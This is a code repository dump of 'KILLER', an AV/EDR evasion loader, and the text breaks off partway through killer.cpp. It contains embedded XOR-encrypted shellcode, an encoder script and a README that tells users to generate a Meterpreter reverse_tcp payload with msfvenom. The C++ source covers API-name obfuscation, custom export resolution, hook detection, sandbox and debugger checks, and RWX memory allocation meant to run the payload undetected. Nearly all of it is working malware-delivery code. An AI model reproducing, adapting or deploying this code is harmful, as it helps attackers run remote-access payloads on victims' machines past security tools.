├── compile.bat ├── shellcode-xor.py ├── reverse-shellcode.cpp ├── README.md └── killer.cpp /compile.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tp killer.cpp /link /OUT:killer.exe 4 | -------------------------------------------------------------------------------- /shellcode-xor.py: -------------------------------------------------------------------------------- 1 | data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" 2 | 3 | key = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more... 4 | 5 | print('{ ', end='') 6 | for i in data: 7 | print(hex(i ^ key), end=', ') 8 | 9 | print("0x0 };") # Notice that it adds one byte "0x0" to the end. -------------------------------------------------------------------------------- /reverse-shellcode.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Function to reverse a shellcode array in 0x format 4 | void reverseShellcode(unsigned char *shellcode, int size) { 5 | int i; 6 | unsigned char temp; 7 | for (i = 0; i < size/2; i++) { 8 | temp = shellcode[size-i-1]; 9 | shellcode[size-i-1] = shellcode[i]; 10 | shellcode[i] = temp; 11 | } 12 | if (size % 2 != 0) { 13 | shellcode[size/2] = shellcode[size/2]; 14 | } 15 | } 16 | 17 | int main() { 18 | // Example shellcode array in 0x format 19 | unsigned char shellcode[] = {0xb4, 0x27, 0xb4, 0x97, 0xb1, 0xa5, 0xf3, 0x45, 0x68, 0x30, 0x3, 0x10, 0x74, 0x3c, 0x2, 0x0, 0x21, 0x7a, 0x4b, 0x8a, 0x12, 0x7b, 0xc5, 0x1a, 0xf, 0x7f, 0xf8, 0x13, 0x55, 0x7b, 0xce, 0x3a, 0x10, 0xa, 0xca, 0x47, 0x3c, 0x18, 0x5e, 0xc0, 0x78, 0x30, 0x15, 0x46, 0xfa, 0x6, 0x79, 0xaf, 0x9b, 0x4f, 0x20, 0x31, 0x31, 0x69, 0x48, 0x71, 0x83, 0x88, 0x38, 0x2d, 0x51, 0x90, 0x95, 0xdf, 0x28, 0x19, 0x26, 0x7b, 0xc5, 0x1a, 0x4f, 0xbc, 0x31, 0x7d, 0x5, 0x32, 0x95, 0xe3, 0xb0, 0xca, 0x41, 0x35, 0x6c, 0x18, 0xd4, 0xb7, 0x46, 0x1d, 0x10, 0x76, 0xe3, 0x1e, 0xc3, 0x27, 0x2f, 0x37, 0xca, 0xd, 0x13, 0xc, 0x69, 0xe0, 0xa1, 0x17, 0x7d, 0x93, 0x99, 0x10, 0xfc, 0x6, 0xf2, 0x10, 0x76, 0xe5, 0x3, 0x79, 0xa6, 0x7f, 0x42, 0x81, 0xe1, 0x72, 0x84, 0xa1, 0x3d, 0x3, 0x40, 0xf4, 0x54, 0xb0, 0x24, 0x86, 0x7e, 0x79, 0x14, 0x53, 0x3b, 0xb, 0x71, 0xbe, 0x42, 0xab, 0x19, 0x9, 0xb8, 0x5, 0x4c, 0x79, 0x43, 0x91, 0x53, 0x2d, 0xdb, 0x5d, 0x3f, 0x76, 0xf1, 0x18, 0x6b, 0x7a, 0x4f, 0x98, 0x2e, 0xbc, 0x77, 0xc9, 0x5, 0x32, 0x95, 0x29, 0x68, 0x3, 0x19, 0x6b, 0x35, 0xa, 0x10, 0x2f, 0x73, 0x23, 0x19, 0x2d, 0x7b, 0xcd, 0xa4, 0x4f, 0x76, 0x21, 0xbe, 0xad, 0x6b, 0x4, 0x31, 0x6a, 0xa, 0xca, 0x27, 0x85, 0x7, 0xae, 0x88, 0xcd, 0x27, 0x10, 0xcd, 0x32, 0x4e, 0x48, 0x6f, 0x37, 0x73, 0x41, 0x4d, 0x7b, 0xc8, 0xe5, 0x31, 0x43, 0x41, 0x35, 0x2d, 0xea, 0x60, 0xfc, 0x5d, 0xfd, 0xa7, 0xa2, 0x88, 0xbe, 0xfd, 0xcd, 0x61, 0x32, 0xfb, 0xeb, 0xa6, 0xf8, 0xf5, 0xcf, 0x97, 0x9, 0xb6, 0xa8, 0x78, 0x6d, 0x71, 0x4e, 0x70, 0xd8, 0x8c, 0xd3, 0x3b, 0x4d, 0xd4, 0x70, 0x60, 0x33, 0x22, 0x59, 0x45, 0x31, 0x71, 0xcb, 0x9b, 0xca, 0xb9, 0x33, 0x30, 0x1b, 0x51, 0x54, 0x3d, 0xf, 0x56, 0x4e}; 20 | int size = sizeof(shellcode)/sizeof(shellcode[0]); 21 | 22 | printf("Original shellcode in hex format:\n"); 23 | for (int i = 0; i < size; i++) { 24 | //printf("\\x%02x", (unsigned char)shellcode[i]); 25 | printf("0x%02x", (unsigned char)shellcode[i]); 26 | // puting the comma after the byte then when go to last byte delete the comma 27 | if (i != size-1) { 28 | printf(", "); 29 | } 30 | } 31 | printf("\n"); 32 | 33 | // Reverse the shellcode 34 | reverseShellcode(shellcode, size); 35 | 36 | printf("\nReversed shellcode:\n"); 37 | for (int i = 0; i < size; i++) { 38 | printf("0x%02x", shellcode[i]); 39 | if (i != size-1) { 40 | printf(", "); 41 | } 42 | } 43 | 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KILLER TOOL (EDR Evasion) 2 | It's a AV/EDR Evasion tool created to bypass security tools for learning, until now the tool is FUD. 3 | 4 | # Features: 5 | 6 | * Module Stomping for Memory scanning evasion 7 | * DLL Unhooking by fresh ntdll copy 8 | * IAT Hiding and Obfuscation & API Unhooking 9 | * ETW Patchnig for bypassing some security controls 10 | * Included sandbox evasion techniques & Basic Anti-Debugging 11 | * Fully obfuscated (Functions - Keys - Shellcode) by XOR-ing 12 | * Shellcode reversed and Encrypted 13 | * Moving payload into hallowed memory without using APIs 14 | * GetProcAddress & GetModuleHandle Implementation by @cocomelonc 15 | * Runs without creating new thread & Suppoers x64 and x86 arch 16 | 17 | # How to use it 18 | 19 | Generate your shellcode with msfvenom tool : 20 | 21 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST LPORT -f py 22 | 23 | Then copy the output into the encryptor XOR function : 24 | 25 | data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" 26 | 27 | key = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more... 28 | 29 | print('{ ', end='') 30 | for i in data: 31 | print(hex(i ^ key), end=', ') 32 | 33 | print("0x0 };") # Notice that it adds one byte "0x0" to the end. 34 | 35 | And then you can handle your decryption function, It's not easy for script kiddies ^-^, you can read more about it in my articale : 36 | 37 | * Part 1 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-933e50f47af5 38 | * Part 2 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-p2-7a947f7db354 39 | * Part 3 => https://medium.com/@0xHossam/unhooking-memory-object-hiding-3229b75618f7 40 | * Part 4 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-p-4-162662bb630e 41 | 42 | This is the result when running : 43 | 44 | ![image](https://user-images.githubusercontent.com/82971998/230731975-a70abd1c-279b-4e79-9e91-6b5212b7db9a.png) 45 | 46 | # PoC (Proof-of-Concept) : 47 | 48 | https://antiscan.me/images/result/07OkIKKhpRsG.png 49 | 50 | ![image](https://user-images.githubusercontent.com/82971998/230732045-ca2638fe-4f3c-4926-8f94-4fff817ca585.png) 51 | 52 | # Important Notes 53 | 54 | * First thanks to [Abdallah Mohammed](https://github.com/abdallah-elsharif) for helping me to develop it ^_^ 55 | * The tool is for educational purposes only 56 | * Compile the code with visual studio compiler 57 | 58 | -------------------------------------------------------------------------------- /killer.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Author: Hossam Ehab - facebook.com/0xHossam 3 | Title : Killer tool for EDR/AV Evasion --> IAT Obfuscation - Module stomping - DLL Unhooking & ETW Patching - Run payload without create a new thread 4 | Date : 8/3/2023 5 | 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #pragma comment(lib, "Shlwapi.lib") 21 | 22 | #define BOLD "\033[1m" 23 | #define GREEN "\033[0;32m" 24 | #define BLUE "\033[0;34m" 25 | #define RED "\033[0;31m" 26 | #define NC "\033[0m" 27 | #define NL "\n" 28 | #define PRINT_SUCCESS(fmt, ...) printf("\t" GREEN " [+]" NC BOLD fmt NL NC, __VA_ARGS__) 29 | #define PRINT_SUCCESST(fmt, ...) printf(GREEN " [+] " NC BOLD fmt NL NC, __VA_ARGS__) 30 | #define PRINT_STATUS(fmt, ...) printf(BLUE " [*] " NC BOLD fmt NL NC, __VA_ARGS__) 31 | #define PRINT_ERROR(fmt, ...) printf("\t" RED " [!] " NC BOLD fmt NL NC, __VA_ARGS__) 32 | #define BR(fmt, ...) printf("\t" RED " [-] Author => Hossam Ehab / An EDR (End Point Detection & Response) Evasion Tool " NC BOLD fmt NL NC, __VA_ARGS__) 33 | 34 | int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) { 35 | _wcslwr_s(substr, MAX_PATH); 36 | _wcslwr_s(mystr, MAX_PATH); 37 | 38 | int result = 0; 39 | if (StrStrW(mystr, substr) != NULL) { 40 | result = 1; 41 | } 42 | 43 | return result; 44 | } 45 | 46 | // https://cocomelonc.github.io/malware/2023/04/16/malware-av-evasion-16.html 47 | FARPROC myGetProcAddr(HMODULE hModule, LPCSTR lpProcName) { 48 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; 49 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew); 50 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + 51 | ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 52 | 53 | DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions); 54 | WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals); 55 | DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames); 56 | 57 | for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { 58 | if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) { 59 | return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]); 60 | } 61 | } 62 | 63 | return NULL; 64 | } 65 | 66 | // https://cocomelonc.github.io/malware/2023/04/08/malware-av-evasion-15.html 67 | // custom implementation 68 | HMODULE myGetModuleHandle(LPCWSTR lModuleName) { 69 | 70 | // obtaining the offset of PPEB from the beginning of TEB 71 | // PEB* pPeb = (PEB*)__readgsqword(0x60); 72 | #ifdef _M_IX86 73 | PEB * pPeb = (PEB *) __readfsdword(0x30); 74 | #else 75 | PEB * pPeb = (PEB *)__readgsqword(0x60); 76 | #endif 77 | 78 | // for x86 79 | // PEB* pPeb = (PEB*)__readgsqword(0x30); 80 | 81 | // obtaining the address of the head node in a linked list 82 | // which represents all the models that are loaded into the process. 83 | PEB_LDR_DATA* Ldr = pPeb->Ldr; 84 | LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; 85 | 86 | // iterating to the next node. this will be our starting point. 87 | LIST_ENTRY* pStartListEntry = ModuleList->Flink; 88 | 89 | // iterating through the linked list. 90 | WCHAR mystr[MAX_PATH] = { 0 }; 91 | WCHAR substr[MAX_PATH] = { 0 }; 92 | for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) { 93 | 94 | // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL). 95 | LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY)); 96 | 97 | // checking if this is the DLL we are looking for 98 | memset(mystr, 0, MAX_PATH * sizeof(WCHAR)); 99 | memset(substr, 0, MAX_PATH * sizeof(WCHAR)); 100 | wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer); 101 | wcscpy_s(substr, MAX_PATH, lModuleName); 102 | if (cmpUnicodeStr(substr, mystr)) { 103 | // returning the DLL base address. 104 | return (HMODULE)pEntry->DllBase; 105 | } 106 | } 107 | 108 | // the needed DLL wasn't found 109 | PRINT_ERROR("failed to get a handle to %s\n", lModuleName); 110 | return NULL; 111 | } 112 | 113 | VOID EnableConsoleColors() 114 | { 115 | HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); 116 | DWORD dwMode = 0; 117 | GetConsoleMode(hOut, &dwMode); 118 | dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; 119 | SetConsoleMode(hOut, dwMode); 120 | } 121 | 122 | #define SIZEOF(x) sizeof(x) - 1 123 | #define KEY 0xb6 124 | 125 | char decKey[] = { 0xfe, 0xd9, 0x81, 0xc5, 0xf7, 0xfb, 0x85, 0xf3, 0xde, 0x86, 0xf4, 0xf7, 0x83, 0xda, 0xe6, 0xe7, 0xc1, 0x84, 0xcc, 0xee, 0xc1, 0x85, 0xf8, 0x0 }; //Ho7sAM3Eh0BA5lPQw2zXw3N 126 | int keysize = SIZEOF(decKey); 127 | 128 | unsigned char shellcode[] = { 0x4e, 0x56, 0x0f, 0x3d, 0x54, 0x51, 0x1b, 0x30, 0x33, 0xb9, 0xca, 0x9b, 0xcb, 0x71, 0x31, 0x45, 0x59, 0x22, 0x33, 0x60, 0x70, 0xd4, 0x4d, 0x3b, 0xd3, 0x8c, 0xd8, 0x70, 0x4e, 0x71, 0x6d, 0x78, 0xa8, 0xb6, 0x09, 0x97, 0xcf, 0xf5, 0xf8, 0xa6, 0xeb, 0xfb, 0x32, 0x61, 0xcd, 0xfd, 0xbe, 0x88, 0xa2, 0xa7, 0xfd, 0x5d, 0xfc, 0x60, 0xea, 0x2d, 0x35, 0x41, 0x43, 0x31, 0xe5, 0xc8, 0x7b, 0x4d, 0x41, 0x73, 0x37, 0x6f, 0x48, 0x4e, 0x32, 0xcd, 0x10, 0x27, 0xcd, 0x88, 0xae, 0x07, 0x85, 0x27, 0xca, 0x0a, 0x6a, 0x31, 0x04, 0x6b, 0xad, 0xbe, 0x21, 0x76, 0x4f, 0xa4, 0xcd, 0x7b, 0x2d, 0x19, 0x23, 0x73, 0x2f, 0x10, 0x0a, 0x35, 0x6b, 0x19, 0x03, 0x68, 0x29, 0x95, 0x32, 0x05, 0xc9, 0x77, 0xbc, 0x2e, 0x98, 0x4f, 0x7a, 0x6b, 0x18, 0xf1, 0x76, 0x3f, 0x5d, 0xdb, 0x2d, 0x53, 0x91, 0x43, 0x79, 0x4c, 0x05, 0xb8, 0x09, 0x19, 0xab, 0x42, 0xbe, 0x71, 0x0b, 0x3b, 0x53, 0x14, 0x79, 0x7e, 0x86, 0x24, 0xb0, 0x54, 0xf4, 0x40, 0x03, 0x3d, 0xa1, 0x84, 0x72, 0xe1, 0x81, 0x42, 0x7f, 0xa6, 0x79, 0x03, 0xe5, 0x76, 0x10, 0xf2, 0x06, 0xfc, 0x10, 0x99, 0x93, 0x7d, 0x17, 0xa1, 0xe0, 0x69, 0x0c, 0x13, 0x0d, 0xca, 0x37, 0x2f, 0x27, 0xc3, 0x1e, 0xe3, 0x76, 0x10, 0x1d, 0x46, 0xb7, 0xd4, 0x18, 0x6c, 0x35, 0x41, 0xca, 0xb0, 0xe3, 0x95, 0x32, 0x05, 0x7d, 0x31, 0xbc, 0x4f, 0x1a, 0xc5, 0x7b, 0x26, 0x19, 0x28, 0xdf, 0x95, 0x90, 0x51, 0x2d, 0x38, 0x88, 0x83, 0x71, 0x48, 0x69, 0x31, 0x31, 0x20, 0x4f, 0x9b, 0xaf, 0x79, 0x06, 0xfa, 0x46, 0x15, 0x30, 0x78, 0xc0, 0x5e, 0x18, 0x3c, 0x47, 0xca, 0x0a, 0x10, 0x3a, 0xce, 0x7b, 0x55, 0x13, 0xf8, 0x7f, 0x0f, 0x1a, 0xc5, 0x7b, 0x12, 0x8a, 0x4b, 0x7a, 0x21, 0x00, 0x02, 0x3c, 0x74, 0x10, 0x03, 0x30, 0x68, 0x45, 0xf3, 0xa5, 0xb1, 0x97, 0xb4, 0x27, 0xb4 }; 129 | unsigned int shellcode_len = sizeof(shellcode); 130 | 131 | void decShell(unsigned char* pEnctyptedShell) 132 | { 133 | for (int idx = 0, ctr = 0; idx < shellcode_len; idx++) 134 | { 135 | ctr = (ctr == keysize) ? 0 : ctr; 136 | pEnctyptedShell[idx] = pEnctyptedShell[idx] ^ decKey[ctr++]; 137 | } 138 | 139 | } 140 | 141 | void deObfuscate(char* cApi, int nSize) 142 | { 143 | for (int i = 0; i < nSize; i++) 144 | { 145 | // try to prevent particular weakness of single-byte encoding: 146 | // It lacks the ability to effectively hide from a user manually 147 | // scanning encoded content with a hex editor. 148 | if (cApi[i] != 0 && cApi[i] != KEY) 149 | cApi[i] = cApi[i] ^ KEY; 150 | } 151 | } 152 | 153 | void banner() { 154 | printf("\n"); 155 | printf(RED" dP dP dP dP dP 88888888b 888888ba \n"); 156 | printf(RED" 88.d8' 88 88 88 88 88 `8b \n"); 157 | printf(RED" 88aaa8P' 88 88 88 a88aaaa a88aaaa8P' \n"); 158 | printf(RED" 88 `8b. 88 88 88 88 88 `8b. \n"); 159 | printf(RED" 88 88 88 88 88 88 88 88 \n"); 160 | printf(RED" dP dP dP 88888888P 88888888P 88888888P dP dP \n"); 161 | printf(GREEN" Author => Hossam Ehab / EDR/AV evasion tool\n"); 162 | printf("\n"); 163 | } 164 | 165 | /* 166 | Detecting the first bytes for the NTAPIs to check if it hooked 167 | If the bytes match, the function returns FALSE. If the bytes do not match, the function prints a message indicating that the first bytes are "HOOKED" and returns TRUE. 168 | */ 169 | BOOL isItHooked(LPVOID addr) { 170 | BYTE stub[] = "\x4c\x8b\xd1\xb8"; 171 | std::string charData = (char*)addr; 172 | 173 | if (memcmp(addr, stub, 4) != 0) { 174 | PRINT_ERROR("\tFirst bytes are HOOKED : "); 175 | for (int i = 0; i < 4; i++) { 176 | BYTE currentByte = charData[i]; 177 | printf("\\x%02x", currentByte); 178 | } 179 | PRINT_STATUS(" (different from "); 180 | for (int i = 0; i < 4; i++) { 181 | printf("\\x%02x", stub[i]); 182 | } 183 | printf(")\n"); 184 | return TRUE; 185 | } 186 | return FALSE; 187 | } 188 | 189 | /* MSDN APIs*/ 190 | typedef LPVOID(WINAPI* VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD); 191 | typedef HANDLE(WINAPI* CreateFileAFunc)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 192 | typedef HANDLE(WINAPI* GetCurrentProcessFunc)(); 193 | typedef LPVOID (WINAPI * MapViewOfFileFunc)(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap); 194 | typedef BOOL (WINAPI * CheckRemoteDebuggerPresentFunc)( HANDLE hProcess, PBOOL pbDebuggerPresent ); 195 | typedef BOOL (WINAPI * GlobalMemoryStatusExFunc)( LPMEMORYSTATUSEX lpBuffer); 196 | typedef LPVOID(WINAPI* pVirtualAllocExNuma) ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, DWORD nndPreferred ); 197 | typedef HANDLE (WINAPI * CreateFileMappingAFunc)( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ); 198 | 199 | /* Declare function pointers */ 200 | VirtualProtectFunc pVirtualProtectFunc = NULL; 201 | CreateFileAFunc pCreateFileAFunc = NULL; 202 | GetCurrentProcessFunc pGetCurrentProcessFunc = NULL; 203 | CheckRemoteDebuggerPresentFunc pCheckRemoteDebuggerPresentFunc = NULL; 204 | GlobalMemoryStatusExFunc pGlobalMemoryStatusExFunc = NULL; 205 | MapViewOfFileFunc pMapViewOfFileFunc = NULL; 206 | CreateFileMappingAFunc pCreateFileMappingAFunc = NULL; 207 | 208 | typedef LPVOID(NTAPI* uNtAllocateVirtualMemory)(HANDLE, PVOID, ULONG, SIZE_T, ULONG, ULONG); 209 | typedef NTSTATUS(NTAPI* uNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); 210 | typedef NTSTATUS(NTAPI* uNtCreateThreadEx) (OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer); 211 | typedef NTSTATUS(NTAPI* uNtProtectVirtualMemory) (HANDLE, IN OUT PVOID*, IN OUT PSIZE_T, IN ULONG, OUT PULONG); 212 | typedef NTSTATUS(NTAPI* uNtQueryInformationThread) (IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength); 213 | 214 | // Hardware components checker 215 | BOOL checkResources() { 216 | SYSTEM_INFO s; 217 | MEMORYSTATUSEX ms; 218 | DWORD procNum; 219 | DWORD ram; 220 | 221 | // check number of processors 222 | GetSystemInfo(&s); 223 | procNum = s.dwNumberOfProcessors; 224 | if (procNum < 2) return false; 225 | 226 | // check RAM 227 | ms.dwLength = sizeof(ms); 228 | pGlobalMemoryStatusExFunc(&ms); 229 | ram = ms.ullTotalPhys / 1024 / 1024 / 1024; 230 | if (ram < 2) return false; 231 | return true; 232 | } 233 | 234 | /* Encrypted strings by xor to evade static stuff : */ 235 | char cNtAllocateVirtualMemory[] = { 0xf8, 0xc2, 0xf7, 0xda, 0xda, 0xd9, 0xd5, 0xd7, 0xc2, 0xd3, 0xe0, 0xdf, 0xc4, 0xc2, 0xc3, 0xd7, 0xda, 0xfb, 0xd3, 0xdb, 0xd9, 0xc4, 0xcf, 0x0 }; 236 | char cNtWriteVirtualMemory[] = { 0xf8, 0xc2, 0xe1, 0xc4, 0xdf, 0xc2, 0xd3, 0xe0, 0xdf, 0xc4, 0xc2, 0xc3, 0xd7, 0xda, 0xfb, 0xd3, 0xdb, 0xd9, 0xc4, 0xcf, 0x0 }; 237 | char cNtCreateThreadEx[] = { 0xf8, 0xc2, 0xf5, 0xc4, 0xd3, 0xd7, 0xc2, 0xd3, 0xe2, 0xde, 0xc4, 0xd3, 0xd7, 0xd2, 0xf3, 0xce, 0x0 }; 238 | char cNtProtectVirtualMemory[] = { 0xf8, 0xc2, 0xe6, 0xc4, 0xd9, 0xc2, 0xd3, 0xd5, 0xc2, 0xe0, 0xdf, 0xc4, 0xc2, 0xc3, 0xd7, 0xda, 0xfb, 0xd3, 0xdb, 0xd9, 0xc4, 0xcf, 0x0 }; 239 | char cNtQueryInformationThread[] = { 0xf8, 0xc2, 0xe7, 0xc3, 0xd3, 0xc4, 0xcf, 0xff, 0xd8, 0xd0, 0xd9, 0xc4, 0xdb, 0xd7, 0xc2, 0xdf, 0xd9, 0xd8, 0xe2, 0xde, 0xc4, 0xd3, 0xd7, 0xd2, 0x0 }; 240 | char cCreateFileA[] = { 0xf5, 0xc4, 0xd3, 0xd7, 0xc2, 0xd3, 0xf0, 0xdf, 0xda, 0xd3, 0xf7, 0x0 }; 241 | char cGetCurrentProcess[] = { 0xf1, 0xd3, 0xc2, 0xf5, 0xc3, 0xc4, 0xc4, 0xd3, 0xd8, 0xc2, 0xe6, 0xc4, 0xd9, 0xd5, 0xd3, 0xc5, 0xc5, 0x0 }; 242 | char cNtdll[] = { 0xd8, 0xc2, 0xd2, 0xda, 0xda, 0x98, 0xd2, 0xda, 0xda, 0x0 }; 243 | char cAmsi[] = { 0xd7, 0xdb, 0xc5, 0xdf, 0x98, 0xd2, 0xda, 0xda, 0x0 }; 244 | char cEtwEventWrite[] = { 0xf3, 0xc2, 0xc1, 0xf3, 0xc0, 0xd3, 0xd8, 0xc2, 0xe1, 0xc4, 0xdf, 0xc2, 0xd3, 0x0 }; 245 | char cMapViewOfFile[] = { 0xfb, 0xd7, 0xc6, 0xe0, 0xdf, 0xd3, 0xc1, 0xf9, 0xd0, 0xf0, 0xdf, 0xda, 0xd3, 0x0 }; 246 | char cCheckRemote[] = { 0xf5, 0xde, 0xd3, 0xd5, 0xdd, 0xe4, 0xd3, 0xdb, 0xd9, 0xc2, 0xd3, 0xf2, 0xd3, 0xd4, 0xc3, 0xd1, 0xd1, 0xd3, 0xc4, 0xe6, 0xc4, 0xd3, 0xc5, 0xd3, 0xd8, 0xc2, 0x0 }; 247 | char cCheckGlobalMemory[] = { 0xf1, 0xda, 0xd9, 0xd4, 0xd7, 0xda, 0xfb, 0xd3, 0xdb, 0xd9, 0xc4, 0xcf, 0xe5, 0xc2, 0xd7, 0xc2, 0xc3, 0xc5, 0xf3, 0xce, 0x0 }; 248 | char cLib2Name[] = { 0xdd, 0xd3, 0xc4, 0xd8, 0xd3, 0xda, 0x85, 0x84, 0x98, 0xd2, 0xda, 0xda, 0x0 }; 249 | char b[] = { 0xe0, 0xdf, 0xc4, 0xc2, 0xc3, 0xd7, 0xda, 0xe6, 0xc4, 0xd9, 0xc2, 0xd3, 0xd5, 0xc2, 0x0 }; 250 | char cCreateFileMapping[] = { 0xf5, 0xc4, 0xd3, 0xd7, 0xc2, 0xd3, 0xf0, 0xdf, 0xda, 0xd3, 0xfb, 0xd7, 0xc6, 0xc6, 0xdf, 0xd8, 0xd1, 0xf7, 0x0 }; 251 | 252 | void deObfuscateNT() { 253 | deObfuscate(cNtAllocateVirtualMemory, SIZEOF(cNtAllocateVirtualMemory)); 254 | deObfuscate(cNtWriteVirtualMemory, SIZEOF(cNtWriteVirtualMemory)); 255 | deObfuscate(cNtCreateThreadEx, SIZEOF(cNtCreateThreadEx)); 256 | deObfuscate(cNtProtectVirtualMemory, SIZEOF(cNtProtectVirtualMemory)); 257 | deObfuscate(cNtQueryInformationThread, SIZEOF(cNtQueryInformationThread)); 258 | } 259 | 260 | BOOL checkNUMA() { 261 | LPVOID mem = NULL; 262 | char cVirtualAllocExNuma[] = { 0xe0, 0xdf, 0xc4, 0xc2, 0xc3, 0xd7, 0xda, 0xf7, 0xda, 0xda, 0xd9, 0xd5, 0xf3, 0xce, 0xf8, 0xc3, 0xdb, 0xd7, 0x0 }; 263 | deObfuscate(cVirtualAllocExNuma, SIZEOF(cVirtualAllocExNuma)); 264 | pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)myGetProcAddr(GetModuleHandle("kernel32.dll"), cVirtualAllocExNuma); 265 | mem = myVirtualAllocExNuma(pGetCurrentProcessFunc(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0); 266 | if (mem != NULL) { 267 | return false; 268 | } 269 | else { 270 | return true; 271 | } 272 | } 273 | 274 | void deObfuscateFunc() { 275 | 